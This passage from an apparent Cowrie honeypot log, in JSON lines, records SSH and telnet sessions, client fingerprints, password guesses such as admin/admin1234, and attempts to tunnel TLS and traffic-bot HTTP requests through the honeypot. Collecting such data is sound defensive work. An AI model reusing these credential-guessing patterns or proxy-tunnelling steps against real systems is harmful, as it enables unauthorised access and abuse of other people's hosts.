p":"2026-06-19T21:56:41.607716Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:41.857899Z","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45274,"dst_ip":"159.203.135.109","dst_port":23,"session":"53bbff9bb8ff","protocol":"telnet","message":"New connection: 172.81.62.90:45274 (159.203.135.109:23) [session: 53bbff9bb8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:41.864224Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:42.104788Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc2\\xb6\\xb1\"\\xfeq\\xbb\\x84\\x82D\\x0cI\\xda\\xc7\\xc4\\xb1\\x98\\xf4\\x85\\x91\\xa4f\\xcf\\x173\\x10\\x1ef\\xfa\\xe0\\xf3N e}\\xbb\\x998\\x1aY\\x92\\xa8\\x00\\x80/\\x95\\xffHx_\\x95\\x03\\x93\\x88\\xbde7\\x9b\\xd1{\\x1b\\x9ei6p\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa3\\xe9L\\xe0z\\x03\\xd4\\x1d%9I\\x11\\x8f\\xf9z\\tu\\x9c\\xc1\\x97\\xe2l=\\x1f\\xea\\xc2\\x99\\x15\\x10cWX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc2\\xb6\\xb1\"\\xfeq\\xbb\\x84\\x82D\\x0cI\\xda\\xc7\\xc4\\xb1\\x98\\xf4\\x85\\x91\\xa4f\\xcf\\x173\\x10\\x1ef\\xfa\\xe0\\xf3N e}\\xbb\\x998\\x1aY\\x92\\xa8\\x00\\x80/\\x95\\xffHx_\\x95\\x03\\x93\\x88\\xbde7\\x9b\\xd1{\\x1b\\x9ei6p\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa3\\xe9L\\xe0z\\x03\\xd4\\x1d%9I\\x11\\x8f\\xf9z\\tu\\x9c\\xc1\\x97\\xe2l=\\x1f\\xea\\xc2\\x99\\x15\\x10cWX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:42.108033Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:42.471785Z","src_ip":"91.92.40.36","session":"798e69bd7c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:42.475089Z","src_ip":"91.92.40.36","session":"798e69bd7c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:42.510110Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"321","message":"login attempt [git/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:43.786361Z","src_ip":"91.92.40.36","session":"0a4e34983a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:46.876209Z","src_ip":"91.92.40.36","session":"0a4e34983a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15814,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaad88d4da68","protocol":"ssh","message":"New connection: 91.92.40.36:15814 (159.203.135.109:22) [session: aaad88d4da68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:48.606361Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"stink","message":"login attempt [admin/stink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:49.628816Z","src_ip":"91.92.40.36","session":"798e69bd7c54","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:49.940132Z","src_ip":"91.92.40.36","session":"aaad88d4da68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:49.944504Z","src_ip":"91.92.40.36","session":"aaad88d4da68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:52.839997Z","src_ip":"91.92.40.36","session":"798e69bd7c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32256,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fee0ab586ca","protocol":"ssh","message":"New connection: 91.92.40.36:32256 (159.203.135.109:22) [session: 7fee0ab586ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:55.787598Z"}
{"eventid":"cowrie.login.failed","username":"backup","password":"54321","message":"login attempt [backup/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:57.845047Z","src_ip":"91.92.40.36","session":"aaad88d4da68","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:58.020026Z","src_ip":"91.92.40.36","session":"7fee0ab586ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:58.023464Z","src_ip":"91.92.40.36","session":"7fee0ab586ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":55759,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cc22ce92dca","protocol":"ssh","message":"New connection: 113.164.152.20:55759 (10.17.0.5:22) [session: 9cc22ce92dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:58.031984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:58.038502Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:58.334267Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:00.296397Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:00.781838Z","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:00.948543Z","src_ip":"91.92.40.36","session":"aaad88d4da68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:01.040815Z","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:01.063962Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3300-HV) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QitqKDN3RTRBaUtyTTdSYQ%3D%3DMozlDD9HTu0wIi80MmbNogKU9ArdxVFNp4Kdm%2BPZCZGAGDrM1ScimbZ7L6lD%2BHjdnJwi5dRIC1Z9kOAMKC1UDEVcGE9njJvmc8c0yI5xkwbbl3NKvS4wsMZfni%2BkDgH1yyJB%2BPadyRqDmyC45lngNhlLtcBWNkkxAAKzvD5IzQIwsMGXJB1%2Fcwu5XY8cgo5iySzUJKWY2livJsbme1BGO3xRQ9U1gPbZlUxdXYMh0oUTEOOXywQDBRGM%2BoY%2Fo%2FTBTN6eqQV72s8p9dNQRajNhZTl0Vwr%2BCwdQ0DOe%2Fw8S%2BxVRWnaCs45WerGZ0pOfncvlCX5iXVsFKuiXrksVC2y%2BUGCK6hX8Iaw82uKJMza7KOcLkiXWUQt1%2FdKXSCrW7oD3UKNFCTniP7Q%2FHJGEqHjREBpIUBqJvYJ3rcVw3LaT9U5jqUq5jqWwBPQyMn21AND9xgEmPjFA5B4UE5wGOyNu3Bwy3N56zqlcxxmB97f4SLzI%2Bs1T0wxOZZiZp1Os%2FA2apwvGIYUM2SPWKgX7hojONXmIBFHCPrJmldrS7xTrLdI1w7wp7SJySrAfAnC38ZNi3jpteYSMKR3BtJcL1RtWJK3xvIKojqO2jOeU7owkdr9B13VmcXqAmb1q9s7pnIe7K0uZFFf%2F3adHHdcnYXYxY6fi%2FG%2B6XjUIODDWh7Rb7If8ozAmjuB6W8vI9vnMl4nFPoSo%2F%2BctH1%2BDsqT72KAsJ%2FHEboQHHx5ob1NYdFkXQa07W2x%2F9CS0jnvWOvgrJsrRKX4azMyc0P9VanZpD2JdUq6tDwZwRwO%2Bb8F%2B%2B7UjQthR5BsRh4%2FmNUOe8dPBD1il9qJ%2BZTKE7wsTwMofrRkFBapXx%2BTKndxLpRxVE1NhZhNcbBgDBFnHcEW2gUUQ2e%2BjnYnVN5fO%2FvjHZBnYhVwFGu3cratWIHD9Jf9P8St5LrBidmwF2lAYGyX%2B2lVxlaTYPqXE467CQEwHPhL91VMtl7MTEDjZ%2BfK8d6dn2NKqtGjlST%2BQ5C%2FBZS5d7vybSmyWD3eG4xgwUFlsyy0Ui5N04kFdUEPi8zAM1VRiT4XkZA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3300-HV) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QitqKDN3RTRBaUtyTTdSYQ%3D%3DMozlDD9HTu0wIi80MmbNogKU9ArdxVFNp4Kdm%2BPZCZGAGDrM1ScimbZ7L6lD%2BHjdnJwi5dRIC1Z9kOAMKC1UDEVcGE9njJvmc8c0yI5xkwbbl3NKvS4wsMZfni%2BkDgH1yyJB%2BPadyRqDmyC45lngNhlLtcBWNkkxAAKzvD5IzQIwsMGXJB1%2Fcwu5XY8cgo5iySzUJKWY2livJsbme1BGO3xRQ9U1gPbZlUxdXYMh0oUTEOOXywQDBRGM%2BoY%2Fo%2FTBTN6eqQV72s8p9dNQRajNhZTl0Vwr%2BCwdQ0DOe%2Fw8S%2BxVRWnaCs45WerGZ0pOfncvlCX5iXVsFKuiXrksVC2y%2BUGCK6hX8Iaw82uKJMza7KOcLkiXWUQt1%2FdKXSCrW7oD3UKNFCTniP7Q%2FHJGEqHjREBpIUBqJvYJ3rcVw3LaT9U5jqUq5jqWwBPQyMn21AND9xgEmPjFA5B4UE5wGOyNu3Bwy3N56zqlcxxmB97f4SLzI%2Bs1T0wxOZZiZp1Os%2FA2apwvGIYUM2SPWKgX7hojONXmIBFHCPrJmldrS7xTrLdI1w7wp7SJySrAfAnC38ZNi3jpteYSMKR3BtJcL1RtWJK3xvIKojqO2jOeU7owkdr9B13VmcXqAmb1q9s7pnIe7K0uZFFf%2F3adHHdcnYXYxY6fi%2FG%2B6XjUIODDWh7Rb7If8ozAmjuB6W8vI9vnMl4nFPoSo%2F%2BctH1%2BDsqT72KAsJ%2FHEboQHHx5ob1NYdFkXQa07W2x%2F9CS0jnvWOvgrJsrRKX4azMyc0P9VanZpD2JdUq6tDwZwRwO%2Bb8F%2B%2B7UjQthR5BsRh4%2FmNUOe8dPBD1il9qJ%2BZTKE7wsTwMofrRkFBapXx%2BTKndxLpRxVE1NhZhNcbBgDBFnHcEW2gUUQ2e%2BjnYnVN5fO%2FvjH